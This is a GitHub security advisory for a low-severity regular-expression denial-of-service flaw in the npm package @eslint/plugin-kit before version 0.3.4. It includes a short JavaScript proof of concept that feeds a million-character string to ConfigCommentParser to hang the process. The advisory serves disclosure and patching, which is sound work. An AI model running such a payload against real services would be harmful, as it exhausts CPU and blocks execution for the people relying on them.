GitHub Advisoryadvisory · npm
GHSA-xffm-g5w8-qvg7 @eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
LOW
Official page ↗
- Ecosystem
- npm
- Packages
- @eslint/plugin-kit
- Severity
- Low
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
- Weaknesses
- CWE-1333
- Reviewed
- 2025-07-18
Affected packages
• npm @eslint/plugin-kit: < 0.3.4 → fixed in 0.3.4
Description
Summary
The `ConfigCommentParser#parseJSONLikeConfig` API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
Details
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with `[^-a-zA-Z0-9/]`.
PoC
```javascript
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/[email protected]` and `node attack.js`
// then the program will stuck forever with high CPU usage
```
Impact
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.
Related
Weakness · CWE (1)
- CWE-1333 Inefficient Regular Expression Complexity weakness